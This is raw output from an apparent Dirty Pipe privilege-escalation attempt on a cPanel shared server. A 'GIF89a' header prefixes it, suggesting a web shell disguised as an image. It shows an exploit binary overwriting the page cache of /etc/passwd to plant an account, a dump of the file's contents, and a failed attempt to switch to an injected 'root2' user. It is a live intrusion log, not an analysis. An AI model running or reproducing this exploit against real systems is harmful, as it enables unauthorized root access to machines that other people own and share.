GIF89a=== DIRTY PIPE === -rwxr-xr-x 1 dbraure1 dbraure1 34944 Aug 28 18:14 /home/dbraure1/tmp/dp === TRY ON /etc/passwd === [*] Target: /etc/passwd [*] Offset: 0 [*] Data len: 30 [*] File size: 1300 [*] Pipe size: 65536 [*] Spliced 1 byte from file [*] Wrote 30 bytes to pipe (overwrites page cache) [*] Done! Page cache of /etc/passwd modified at offset 0. === CHECK /etc/passwd === cpaneleximfilter:x:991:988::/var/cpanel/userhomes/cpaneleximfilter:/usr/local/cpanel/bin/noshell mail:x:8:12:mail:/var/spool/mail:/sbin/nologin mailman:x:995:992:GNU Mailing List Manager:/usr/local/cpanel/3rdparty/mailman:/usr/local/cpanel/bin/noshell === TRY su root2 === which: no su in ((null)) ls: cannot access '/bin/su': No such file or directory ls: cannot access '/usr/bin/su': No such file or directory